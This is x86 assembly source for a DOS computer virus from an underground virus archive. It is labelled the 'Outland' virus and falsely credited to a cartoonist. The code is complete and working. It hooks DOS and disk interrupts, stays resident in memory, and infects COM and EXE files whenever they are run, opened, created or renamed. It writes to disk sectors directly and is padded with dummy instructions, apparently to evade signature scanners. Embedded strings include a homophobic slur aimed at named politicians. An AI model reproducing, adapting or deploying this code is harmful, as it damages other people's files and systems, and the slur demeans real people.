Underground/Underground CD1.iso/virii/zrodla/o/outland.asm

Assembly Source File | 1998-01-14 | 23.9 KB | 1,277 lines

;************************
;*            *
;*    O U T L A N D     *
;*            *
;* by Berkeley Breathed *
;*            *
;*   5/24/1992       *
;*            *
;* dist by Washington   *
;* Post Writers Group    *
;************************


;
;The Outland Politically Incorrect Computer Virus
;
;
;
;

code    segment
    assume    cs:code,ds:code
copyright:
    db    'Bill the Cat Lives! ',0

date_stamp:
    dd    05249200h
checksum:
    db    30
;
;
;
;
;
;

exit_exe:
    mov    bx,es
    add    bx,10h
    add    bx,word ptr cs:[si+call_adr+2]
    mov    word ptr cs:[si+patch+2],bx
    inc    bx                ;dummy
    mov    bx,word ptr cs:[si+call_adr]
    mov    word ptr cs:[si+patch],bx
    mov    bx,es
    add    bx,10h
    add    bx,word ptr cs:[si+stack_pointer+2]
    mov    ss,ax                ;dummy
    mov    ss,bx
    mov    sp,word ptr cs:[si+stack_pointer]
    db    0eah            ;JMP XXXX:YYYY
patch:
    dd    0

;
;
;
;


exit_com:
    mov    di,100h
    add    si,offset my_save
    movsb
    movsw
        mov     sp,ds:[6]               ;:
                                        ;:
    mov    bx,ax            ;dummy
    xor    bx,bx
    push    bx
    jmp    [si-11]         ;si+call_adr-top_file

;
;
;
nofdisk2:
    jmp    nofdisk
startup:
    call    relative
relative:
    pop    si            ;SI = $
    sub    si,offset relative
    cld
    cmp    word ptr cs:[si+my_save],5a4dh
    je    exe_ok
    cli
        mov     sp,si                   ;:
                                        ;:
                                        ;:
        add     sp,offset top_file+100h ;:
                                        ;:
                                        ;:
        sti                             ;:
                                        ;:
    cmp    sp,ds:[6]
    jnc    exit_com
exe_ok:
    push    ax
    push    es
    push    si
    push    ds
    mov    di,si

;
;
;

    xor    ax,ax
    push    ax
    mov    ds,ax
    mov    ax,cx            ;dummy
    les    ax,ds:[13h*4]
    mov    word ptr cs:[si+fdisk],ax
    mov    word ptr cs:[si+fdisk+2],es
    mov    word ptr cs:[si+disk],ax
    mov    word ptr cs:[si+disk+2],es
    mov    ax,3344h        ;dummy
        mov     ax,ds:[40h*4+2]         ;:
                                        ;:
                                        ;:
        cmp     ax,0f000h               ;:
                                        ;:
                                        ;:
    jne    nofdisk2
    mov    word ptr cs:[si+disk+2],ax
    mov    ax,ds:[40h*4]
    mov    word ptr cs:[si+disk],ax
    mov    dl,80h
        mov     ax,ds:[41h*4+2]         ;:
                                        ;:
                                        ;:
        cmp     ax,0f000h               ;:
                                        ;:
                                        ;:
    je    isfdisk
    cmp    ah,0c8h
    jc    nofdisk
    cmp    ah,0f4h
    jnc    nofdisk
    test    al,7fh
    jnz    nofdisk
    mov    ds,bx            ;dummy
    mov    ds,ax
    cmp    ds:[0],0aa55h
    jne    nofdisk
    mov    dl,ds:[2]
isfdisk:
    mov    ds,ax
    xor    dh,dh
    mov    cl,8            ;dummy
    mov    cl,9
    shl    dx,cl
    mov    cx,dx
    xor    si,si
findvect:
        lodsw                           ;:
                                        ;:
    cmp    ax,0fa80h        ;    CMP    DL,80h
        jne     altchk                  ;       JNC     (       )
    lodsw
    cmp    ax,6969h        ;dummy
    cmp    ax,7380h
    je    intchk
    jne    nxt0
altchk:
        cmp     ax,0c2f6h               ;:
                                        ;:
    jne    nxt            ;    TEST    DL,80h
        lodsw                           ;       JNZ     (        )
    cmp    ax,7580h
    jne    nxt0
intchk:
    dec    si            ;dummy
    inc    si            ;dummy
        inc     si                      ;:
                                        ;:
    lodsw                ;    INT    40h
    cmp    ax,40cdh
    je    found
    sub    si,3
nxt0:
    dec    si
    dec    si
nxt:
    inc     si            ;dummy
    dec    si            ;dummy
    dec    si
    loop    findvect
    jmp    short nofdisk
found:
    sub    si,7
    mov    word ptr cs:[di+fdisk],si
    mov    word ptr cs:[di+fdisk+2],ds
nofdisk:
    mov    si,di
    nop                ;dummy
    pop    ds

;:
;:
;:

    les    ax,ds:[21h*4]
    mov    word ptr cs:[si+save_int_21],ax
    mov    word ptr cs:[si+save_int_21+2],es
    push    cs
    nop                ;dummy
    pop    ds
    cmp    ax,offset int_21
    jne    bad_func
    xor    di,di
    mov    cx,4433h        ;dummy
    mov    cx,offset my_size
scan_func:
    lodsb
    scasb
    jne    bad_func
    loop    scan_func
    mov    es,ax            ;dummy
    pop    es
    jmp    go_program

;:
;:
;:
;:
;:
;:
;:
go_shit:jmp    go_program

bad_func:
    pop    es
    mov    ah,49h
        call    int21h
    mov    bx,0ffffh
    mov    ah,47h            ;dummy
    mov    ah,48h
    call    int21h
    sub    bx,(top_bz+my_bz+1ch-1)/16+2
    jc    go_shit
    mov    cx,es
    stc
    adc    cx,bx
    mov    ah,4ah
    call    int21h
    mov    bx,(offset top_bz+offset my_bz+1ch-1)/16+1
    stc
    sbb    es:[2],bx
    push    es
    mov    es,cx
    mov    ah,33h            ;dummy
    mov    ah,4ah
    call    int21h
    mov    ax,es
    dec    ax
    mov    ds,ax
    mov    word ptr ds:[1],8
    call    mul_16
    mov    bx,ax
    mov    cx,dx
    pop    ds
    mov    ax,7654h        ;dummy
    mov    ax,ds
    call    mul_16
    add    ax,ds:[6]
    adc    dx,0
    sub    ax,bx
    sbb    dx,cx
    jc    mem_ok
        sub     ds:[6],ax               ;:
                                        ;:
                                        ;:
mem_ok:
    pop    si
    push    si
    push    ds
    push    cs
    mov    di,0            ;dummy
    xor    di,di
    mov    ds,di
    lds    ax,ds:[27h*4]
    mov    word ptr cs:[si+save_int_27],ax
    mov    word ptr cs:[si+save_int_27+2],ds
    pop    ds
    mov    cx,offset aux_size
    rep    movsb
    mov    ax,2367h        ;dummy
    xor    ax,ax
    mov    ds,ax
        mov     ds:[21h*4],offset int_21;:
                                        ;:
                                        ;:
    mov    ds:[21h*4+2],es
    mov    ds:[27h*4],offset int_27
    mov    ds:[27h*4+2],es
    mov    word ptr es:[filehndl],ax
    pop    es
go_program:
    pop    si

;:
;:
;:
;:

    xor    ax,ax
    mov    ds,ax
    mov    ax,ds:[13h*4]
    mov    word ptr cs:[si+save_int_13],ax
    mov    ax,2468h        ;dummy
    mov    ax,ds:[13h*4+2]
    mov    word ptr cs:[si+save_int_13+2],ax
    mov    ds:[13h*4],offset int_13
    add    ds:[13h*4],si
    mov    ds:[13h*4+2],cs
    pop    ds
    push    ds
    push    si
    mov    bx,1234h        ;dummy
    mov    bx,si
    lds    ax,ds:[2ah]
    xor    si,si
    mov    dx,si
scan_envir:                             ;:
                                        ;:
                                        ;:
        lodsw                           ;:
                                        ;:
                                        ;:
    dec    si
    test    ax,ax
    jnz    scan_envir
    add    si,3
    lodsb

;:
;:
;:
;:
;:

    sub    al,'A'
    mov    cx,1
    push    cs
    pop    ds
    add    bx,offset int_27
    push    ax
    push    bx
    push    cx
    int    25h
    mov    ax,234h            ;dummy
    pop    ax
    pop    cx
    pop    bx
    inc    byte ptr [bx+0ah]
        and     byte ptr [bx+0ah],0fh   ;:
                                        ;:
                                        ;:
        jnz     store_sec               ;:
                                        ;:
                                        ;:
    mov    al,[bx+10h]
    xor    ah,ah
    mul    word ptr [bx+16h]
    add    ax,[bx+0eh]
    push    ax
    mov    ax,0            ;dummy
    mov    ax,[bx+11h]
    mov    dx,32
    mul    dx
    div    word ptr [bx+0bh]
    pop    dx
    add    dx,ax
    mov    ax,[bx+8]
    add    ax,40h
    cmp    ax,[bx+13h]
    jc    store_new
    inc    ax
    and    ax,3fh
    add    ax,dx
    cmp    ax,[bx+13h]
    jnc    small_disk
store_new:
    mov    [bx+8],ax
store_sec:
    pop    ax
    xor    dx,dx
    push    ax
    push    bx
    push    cx
    nop                ;dummy
    int    26h

;:
;:
;:
;:
;:
;:
;:
;:
;:


    pop    ax
    pop    cx
    pop    bx
    pop    ax
    cmp    byte ptr [bx+0ah],0
    jne    not_now
    mov    dx,[bx+8]
    pop    bx
    push    bx
    nop                ;dummy
    int    26h
small_disk:
    pop    ax
not_now:
    pop    si
    xor    ax,ax
    mov    ds,ax
    mov    ax,word ptr cs:[si+save_int_13]
    mov    ds:[13h*4],ax
    mov    ax,word ptr cs:[si+save_int_13+2]
    mov    ds:[13h*4+2],ax
    pop    ds
    mov    ah,33h            ;dummy
    pop    ax
    cmp    word ptr cs:[si+my_save],5a4dh
    jne    go_exit_com
    jmp    exit_exe
go_exit_com:
    jmp    exit_com
int_24:
        mov     al,3                    ;:
                                        ;:

    nop                ;dummy
    iret

;:

    db    'by Oliver Wendell Jones ',0
    db    'Politically Incorrect Personal Computers Presents: ',0
    db    'the OLIVER VIRUS!  Nya Ha Ha! ',0
    db    'Men Rule! ',0
    db    'America Kicks Butt! ',0
    db    'Rap Sucks! ',0
    db    'Eat Fatty Food! ',0
    db    'Dames Melt Like Jell-O for Naughty Men! ',0
    db    'Ted Kennedy Sucks Barney Frank`s Fag Cock! ',0


;:
;:
;:

int_27:
    pushf
    call    alloc
    popf
    jmp    dword ptr cs:[save_int_27]

;:
;:
;:
;:
;:
;:
;:
;:
;:

set_int_27:
    mov    word ptr cs:[save_int_27],dx
    mov    word ptr cs:[save_int_27+2],ds
    popf
    iret
set_int_21:
    mov    word ptr cs:[save_int_21],dx
    mov    word ptr cs:[save_int_21+2],ds
    popf
    iret
get_int_27:
    les    bx,dword ptr cs:[save_int_27]
    popf
    iret
get_int_21:
    les    bx,dword ptr cs:[save_int_21]
    popf
    iret

exec:
    call    do_file
    call    alloc
    popf
    jmp    dword ptr cs:[save_int_21]

    db    'Berk B.',0

;:
;:
;:
;:
;:
;:
;:
;:
;:
;:
;:
;:


int_21:
    push    bp
    mov    bp,sp
    push    [bp+6]
    popf
    pop    bp
    pushf
    call    ontop
    cmp    ax,2521h
    je    set_int_21
    cmp    ax,2527h
    je    set_int_27
    cmp    ax,3521h
    je    get_int_21
    cmp    ax,3527h
    je    get_int_27
    cld
    cmp    ax,4b00h
    je    exec
    cmp    ah,3ch
    je    create
    cmp    ah,3eh
    je    close
    cmp    ah,5bh
    jne    not_create
create:
        cmp     word ptr cs:[filehndl],0;:
                                        ;:
                                        ;:
    jne    dont_touch
    call    see_name
    jnz    dont_touch
    call    alloc
    popf
    call    function
    jc    int_exit
    pushf
    push    es
    push    cs
    pop    es
    push    si
    push    di
    push    cx
    push    ax
    mov    di,offset filehndl
    stosw
    mov    si,dx
    mov    cx,65
move_name:
    lodsb
    stosb
    test    al,al
    jz    all_ok
    loop    move_name
    mov    word ptr es:[filehndl],cx
all_ok:
    pop    ax
    pop    cx
    pop    di
    pop    si
    pop    es
go_exit:
    popf
    jnc    int_exit        ;JMP
close:
    cmp    bx,word ptr cs:[filehndl]
    jne    dont_touch
    test    bx,bx
    jz    dont_touch
    call    alloc
    popf
    call    function
    jc    int_exit
    pushf
    push    ds
    push    cs
    pop    ds
    push    dx
    mov    dx,offset filehndl+2
    call    do_file
    mov    word ptr cs:[filehndl],0
    pop    dx
    pop    ds
    jmp    go_exit
not_create:
    cmp    ah,3dh
    je    touch
    cmp    ah,43h
    je    touch
        cmp     ah,56h                  ;:
                                        ;:
                                        ;:
                                        ;:
        jne     dont_touch              ;:
                                        ;:
                                        ;:
                                        ;:
touch:
    call    see_name
    jnz    dont_touch
    call    do_file
dont_touch:
    call    alloc
    popf
    call    function
int_exit:
    pushf
    push    ds
    call    get_chain
    mov    byte ptr ds:[0],'Z'
    pop    ds
    popf
dummy    proc    far            ;???
    ret    2
dummy    endp

;:
;:
;:
;:

see_name:
    push    ax
    push    si
    mov    si,dx
scan_name:
    lodsb
    test    al,al
    nop                ;dummy
    jz    bad_name
    cmp    al,'.'
    jnz    scan_name
    call    get_byte
    mov    ah,al
    nop                ;dummy
    call    get_byte
    cmp    ax,'co'
    nop                ;dummy
    jz    pos_com
    cmp    ax,'ex'
    nop                ;dummy
    jnz    good_name
    call    get_byte
    cmp    al,'e'
    jmp    short good_name
pos_com:
    call    get_byte
    cmp    al,'m'
    jmp    short good_name
bad_name:
    inc    al
good_name:
    pop    si
    pop    ax
    ret

;:
;:
;:
;:


get_byte:
    lodsb
    cmp    al,'C'
    jc    byte_got
    cmp    al,'Y'
    jnc    byte_got
    add    al,20h
byte_got:
    ret

;:
;:
;:

function:
    pushf
    call    dword ptr cs:[save_int_21]
    ret


;:
;:
;:

do_file:
        push    ds                      ;:
                                        ;:
                                        ;:
    push    es
    push    si
    push    di
    push    ax
    push    bx
    push    cx
    push    dx
    mov    si,ds
    xor    ax,ax
    mov    ds,ax
        les     ax,ds:[24h*4]           ;:
                                        ;:
                                        ;:
        push    es                      ;:
                                        ;:
                                        ;:
    push    ax
    mov    ds:[24h*4],offset int_24
    mov    ds:[24h*4+2],cs
    les    ax,ds:[13h*4]
    mov    word ptr cs:[save_int_13],ax
    mov    word ptr cs:[save_int_13+2],es
    mov    ds:[13h*4],offset int_13
    mov    ds:[13h*4+2],cs
    push    es
    push    ax
    mov    ds,si
        xor     cx,cx                   ;:
                                        ;:
                                        ;:
                                        ;:
    mov    ax,4300h
    call    function
    mov    bx,cx
    and    cl,0feh
    cmp    cl,bl
    je    dont_change
    mov    ax,4301h
    call    function
    stc
dont_change:
    pushf
    push    ds
    push    dx
    push    bx
        mov     ax,3d02h                ;:
                                        ;:
                                        ;:
        call    function                ;:
                                        ;:
                                        ;:
    jc    cant_open
    mov    bx,ax
    call    disease
        mov     ah,3eh                  ;:
                                        ;:
                                        ;:
    call    function
cant_open:
    pop    cx
    pop    dx
    pop    ds
    popf
    jnc    no_update
        mov     ax,4301h                ;:
                                        ;:
                                        ;:
                                        ;:
        call    function                ;:
                                        ;:
                                        ;:
                                        ;:
no_update:
        xor     ax,ax                   ;:
                                        ;:
                                        ;:
                                        ;:
    mov    ds,ax
    pop    ds:[13h*4]
    pop    ds:[13h*4+2]
    pop    ds:[24h*4]
    pop    ds:[24h*4+2]
        pop     dx                      ;:
                                        ;:
                                        ;:
                                        ;:
    pop    cx
    pop    bx
    pop    ax
    pop    di
    pop    si
    pop    es
    pop    ds
    ret


;:
;:
;:
;:

disease:
    push    cs
    pop    ds
    push    cs
    pop    es
        mov     dx,offset top_save      ;:
                                        ;:
                                        ;:
    mov    cx,18h
    mov    ah,3fh
    call    int21h
    xor    cx,cx
    xor    dx,dx
        mov     ax,4202h                ;:
                                        ;:
                                        ;:
                                        ;:

    call    int21h
    mov    word ptr [top_save+1ah],dx
        cmp     ax,offset my_size       ;:
                                        ;:
                                        ;:
                                        ;:
    sbb    dx,0
        jc      stop_fuck_2             ;:
                                        ;:
                                        ;:
                                        ;:
    mov    word ptr [top_save+18h],ax
    cmp    word ptr [top_save],5a4dh
    jne    com_file
    mov    ax,word ptr [top_save+8]
    add    ax,word ptr [top_save+16h]
    call    mul_16
    add    ax,word ptr [top_save+14h]
    adc    dx,0
    mov    cx,dx
    mov    dx,ax
    jmp    short see_sick
com_file:
    cmp    byte ptr [top_save],0e9h
    jne    see_fuck
    mov    dx,word ptr [top_save+1]
    add    dx,103h
    jc    see_fuck
    dec    dh
    xor    cx,cx

;:
;:
;:
;:


see_sick:
    sub    dx,startup-copyright
    sbb    cx,0
    mov    ax,4200h
    call    int21h
    add    ax,offset top_file
    adc    dx,0
    cmp    ax,word ptr [top_save+18h]
    jne    see_fuck
    cmp    dx,word ptr [top_save+1ah]
    jne    see_fuck
    mov    dx,offset top_save+1ch
    mov    si,dx
    mov    cx,offset my_size
    mov    ah,3fh
    call    int21h
    jc    see_fuck
    cmp    cx,ax
    jne    see_fuck
    xor    di,di
next_byte:
    lodsb
    scasb
    jne    see_fuck
    loop    next_byte
stop_fuck_2:
    ret
see_fuck:
        xor     cx,cx                   ;:
                                        ;:
                                        ;:
                                        ;:
    xor    dx,dx
    mov    ax,4202h
    call    int21h
    cmp    word ptr [top_save],5a4dh
    je    fuck_exe
        add     ax,offset aux_size+200h ;:
                                        ;:
                                        ;:
                                        ;:
    adc    dx,0
    je    fuck_it
    ret

;:
;:
;:
;:

fuck_exe:
    mov    dx,word ptr [top_save+18h]
    neg    dl
    and    dx,0fh
    xor    cx,cx
    mov    ax,4201h
    call    int21h
    mov    word ptr [top_save+18h],ax
    mov    word ptr [top_save+1ah],dx
fuck_it:
        mov     ax,5700h                ;:
                                        ;:
                                        ;:
                                        ;:
    call    int21h
    pushf
    push    cx
    push    dx
    cmp    word ptr [top_save],5a4dh
        je      exe_file                ;:
                                        ;:
                                        ;:
                                        ;:
    mov    ax,100h
    jmp    short set_adr
exe_file:
    mov    ax,word ptr [top_save+14h]
    mov    dx,word ptr [top_save+16h]
set_adr:
    mov    di,offset call_adr
    stosw
    mov    ax,0            ;dummy
    mov    ax,dx
    stosw
    mov    ax,word ptr [top_save+10h]
    stosw
    mov    ax,word ptr [top_save+0eh]
    stosw
        mov     si,offset top_save      ;:
                                        ;:
                                        ;:
        movsb                           ;:
                                        ;:
                                        ;:
        movsw                           ;:
                                        ;:
                                        ;:
    xor    dx,dx
    mov    cx,offset top_file
    mov    ah,40h
        call    int21h                  ;:
                                        ;:
                                        ;:
        jc      go_no_fuck              ;:
                                        ;:
                                        ;:
    xor    cx,ax
    jnz    go_no_fuck
    mov    dx,cx
    mov    ax,4200h
    call    int21h
    cmp    word ptr [top_save],5a4dh
    je    do_exe
    mov    byte ptr [top_save],0e9h
    mov    ax,2233h        ;dummy
    mov    ax,word ptr [top_save+18h]
    add    ax,startup-copyright-3
    mov    word ptr [top_save+1],ax
    mov    cx,3
    jmp    short write_header
go_no_fuck:
    jmp    short no_fuck

;:
;:
;:
;:

do_exe:
    call    mul_hdr
    not    ax
    not    dx
    inc    ax
    jne    calc_offs
    inc    dx
calc_offs:
    add    ax,word ptr [top_save+18h]
    adc    dx,word ptr [top_save+1ah]
    mov    cx,11h            ;dummy
    mov    cx,10h
    div    cx
    mov    word ptr [top_save+14h],startup-copyright
    mov    word ptr [top_save+16h],ax
    nop                ;dummy
    add    ax,(offset top_file-offset copyright-1)/16+1
    mov    word ptr [top_save+0eh],ax
    mov    word ptr [top_save+10h],100h
    add    word ptr [top_save+18h],offset top_file
    nop                ;dummy
    adc    word ptr [top_save+1ah],0
    mov    ax,word ptr [top_save+18h]
    and    ax,1ffh
    mov    word ptr [top_save+2],ax
    pushf
    mov    ax,word ptr [top_save+19h]
    shr    byte ptr [top_save+1bh],1
    rcr    ax,1
    popf
    jz    update_len
    inc    ax
update_len:
    mov    word ptr [top_save+4],ax
    mov    cx,18h
write_header:
    mov    dx,offset top_save
    mov    ah,40h
        call    int21h                  ;:
                                        ;:
                                        ;:
                                        ;:
no_fuck:
    pop    dx
    pop    cx
    popf
    jc    stop_fuck
        mov     ax,5701h                ;:
                                        ;:
                                        ;:
                                        ;:
    call    int21h
stop_fuck:
    ret

;
;
;
;
;
;
;
;
;
;
;
;
;
;


alloc:
    push    ds
    call    get_chain
    mov    byte ptr ds:[0],'M'
    pop    ds

;:
;:
;:
;:
;:
;:
;:
;:

ontop:
    push    ds
    push    ax
    push    bx
    push    dx
    xor    bx,bx
    mov    ds,bx
    lds    dx,ds:[21h*4]
    nop                ;dummy
    cmp    dx,offset int_21
    jne    search_segment
    mov    ax,ds
    mov    bx,cs
    cmp    ax,bx
    je    test_complete

;
;
;
;
;
;
;
;


    xor    bx,bx
search_segment:
    mov    ax,[bx]
    cmp    ax,offset int_21
    jne    search_next
    mov    ax,3322h        ;dummy
    mov    ax,cs
    cmp    ax,[bx+2]
    je    got_him
search_next:
    inc    bx
    jne    search_segment
    je    return_control
got_him:
    mov    ax,word ptr cs:[save_int_21]
    mov    [bx],ax
    nop                ;dummy
    mov    ax,word ptr cs:[save_int_21+2]
    mov    [bx+2],ax
    mov    word ptr cs:[save_int_21],dx
    mov    word ptr cs:[save_int_21+2],ds
    xor    bx,bx

;
;
;
;
;
;

return_control:
    mov    ds,bx
    nop                ;dummy
    mov    ds:[21h*4],offset int_21
    mov    ds:[21h*4+2],cs
test_complete:
    pop    dx
    pop    bx
    pop    ax
    pop    ds
    ret

;
;
;
;
get_chain:
    push    ax
    push    bx
    mov    ah,22h            ;dummy
    mov    ah,61h            ;mod'd
    inc    ah            ;mod'd to 62h
    call    function
    mov    ax,cs
    dec    ax
    dec    bx
next_blk:
    mov    ds,ax            ;dummy
    mov    ds,bx
    stc
    adc    bx,ds:[3]
    cmp    bx,ax
    jc    next_blk
    pop    bx
    pop    ax
    ret

;
;
;
;

mul_hdr:
    mov    ax,word ptr [top_save+8]
mul_16:
    mov    dx,10h
    mul    dx
    ret

int21h:    int    21h
    ret

    db    'Banana 6000 P.I.P.C. '
    db    '(C) I spell -Lightening- wrong! ',0

;
;
;
;
;
;
;
;


int_13:
    cmp    ah,22h            ;dummy
    cmp    ah,3
    jnz    subfn_ok
    cmp    dl,80h
    jnc    hdisk
    db    0eah            ;JMP XXXX:YYYY
my_size:                                ;:
                                        ;:
                                        ;:
                                        ;:
disk:
    dd    0
hdisk:
    db    0eah            ;JMP XXXX:YYYY
fdisk:
    dd    0
subfn_ok:
    db    0eah            ;JMP XXXX:YYYY
save_int_13:
    dd    0
call_adr:
    dd    100h

stack_pointer:
        dd      0                       ;:
                                        ;:
                                        ;:
                                        ;:
my_save:
        int     20h                     ;:
                                        ;:
                                        ;:
                                        ;:
        nop                             ;:
                                        ;:
                                        ;:
top_file:                               ;:
                                        ;:
                                        ;:
                                        ;:
filehndl    equ $
filename    equ filehndl+2              ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
save_int_27 equ filename+65             ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
save_int_21 equ save_int_27+4           ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
aux_size    equ save_int_21+4           ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
top_save    equ save_int_21+4           ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
                                        ;:
top_bz        equ top_save-copyright
my_bz        equ my_size-copyright
code    ends
    end